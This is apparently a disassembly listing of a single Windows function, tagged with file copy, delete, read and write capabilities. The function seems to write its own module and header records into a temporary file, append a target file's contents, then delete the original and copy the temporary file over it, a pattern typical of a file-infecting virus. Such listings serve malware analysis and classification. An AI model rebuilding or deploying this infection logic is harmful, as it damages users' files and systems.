Function at 0x404ea4
Capabilities:
Copy file
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff678
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x988], edx
mov dword [ebp - 0x984], edx
mov dword [ebp - 0x980], edx
mov dword [ebp - 0x97c], edx
mov dword [ebp - 0x978], edx
mov dword [ebp - 0x974], edx
mov dword [ebp - 0x970], edx
mov dword [ebp - 0x96c], edx
mov dword [ebp - 0x968], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404234
mov ebx, 0x40c674
mov esi, 0x40c670
mov edi, 0x40c678
xor eax, eax
push ebp
push 0x4052cd
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x964]
call fcn.00402ad0
mov eax, dword [0x40b188]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x964]
call fcn.0040304c
lea eax, [ebp - 0x964]
call fcn.00402cec
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x964]
call fcn.00402cec
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.004043d0
push 0
lea eax, [ebp - 0x10]
call fcn.0040429c
mov edx, eax
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x964]
call fcn.00402c20
lea eax, [ebp - 0x964]
call fcn.00402c40
mov edx, dword [ebp - 0x10]
mov eax, 0x4052e4
call fcn.00404388
test eax, eax
jg 0x40529f
lea eax, [ebp - 0x815]
mov edx, 0x801
call fcn.00404c3c
push 0
push 0x80
push 1
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x968]
mov ecx, 0x4052fc
mov edx, dword [ebp - 4]
call fcn.00404090
mov eax, dword [ebp - 0x968]
call fcn.00404244
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebx], eax
lea edx, [ebp - 0x96c]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x96c]
call fcn.00404e2c
mov dword [0x40c790], eax
lea edx, [ebp - 0x970]
mov eax, dword [0x40c790]
add eax, 0x11
call fcn.004065d8
mov edx, dword [ebp - 0x970]
mov eax, 0x40c794
call fcn.00403e20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x40c794]
call fcn.00404244
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [esi], eax
push 0
lea eax, [ebp - 8]
push eax
push 0x800
lea eax, [ebp - 0x815]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ReadFile_1
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x815]
push eax
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
cmp dword [ebp - 0xc], 0
jne 0x405042
mov eax, dword [esi]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
call fcn.00404e2c
mov dword [0x40c790], eax
lea edx, [ebp - 0x974]
mov eax, dword [0x40c790]
add eax, 0x11
call fcn.004065d8
mov edx, dword [ebp - 0x974]
mov eax, 0x40c794
call fcn.00403e20
mov dword [edi], 0xfeedbeef
xor eax, eax
mov dword [edi + 4], eax
mov eax, dword [ebp - 4]
call fcn.00404d8c
mov dword [edi + 8], eax
mov dword [edi + 0xc], edx
mov byte [edi + 0x10], 0
mov eax, dword [0x40c790]
push esi
push edi
lea esi, [eax + 0x11]
add edi, 0x11
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
pop edi
pop esi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x118
push edi
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x40c794]
call fcn.00404244
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [esi], eax
push 0
lea eax, [ebp - 8]
push eax
push 0x800
lea eax, [ebp - 0x815]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_ReadFile_1
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x815]
push eax
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
cmp dword [ebp - 0xc], 0
jne 0x40511f
mov eax, dword [esi]
push eax
call sub.kernel32.dll_CloseHandle_1
lea edx, [ebp - 0x978]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x978]
call fcn.00404e2c
mov dword [0x40c790], eax
lea edx, [ebp - 0x97c]
mov eax, dword [0x40c790]
add eax, 0x11
call fcn.004065d8
mov edx, dword [ebp - 0x97c]
mov eax, 0x40c794
call fcn.00403e20
lea edx, [ebp - 0x980]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x980]
call fcn.00404d8c
mov dword [0x40c798], eax
mov dword [0x40c79c], edx
mov dword [edi], 0xfeedbeef
xor eax, eax
mov dword [edi + 4], eax
mov eax, dword [0x40c798]
mov dword [edi + 8], eax
mov eax, dword [0x40c79c]
mov dword [edi + 0xc], eax
mov byte [edi + 0x10], 1
lea eax, [edi + 0x11]
xor ecx, ecx
mov edx, 0x105
call fcn.00402d38
push 0
lea eax, [ebp - 0xc]
push eax
push 0x118
push edi
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
lea eax, [ebp - 0x10]
mov edx, 0x4052e4
call fcn.00403e64
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404044
push eax
lea eax, [ebp - 0x10]
call fcn.0040429c
push eax
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
call fcn.00404244
mov ebx, eax
push ebx
call sub.kernel32.dll_DeleteFileA
push 0
push ebx
lea eax, [ebp - 0x984]
mov ecx, 0x4052fc
mov edx, dword [ebp - 4]
call fcn.00404090
mov eax, dword [ebp - 0x984]
call fcn.00404244
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x988]
mov ecx, 0x4052fc
mov edx, dword [ebp - 4]
call fcn.00404090
mov eax, dword [ebp - 0x988]
call fcn.00404244
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [0x40b180]
inc dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4052d4
lea eax, [ebp - 0x988]
mov edx, 9
call fcn.00403df0
lea eax, [ebp - 0x10]
call fcn.00403dcc
lea eax, [ebp - 4]
call fcn.00403dcc
ret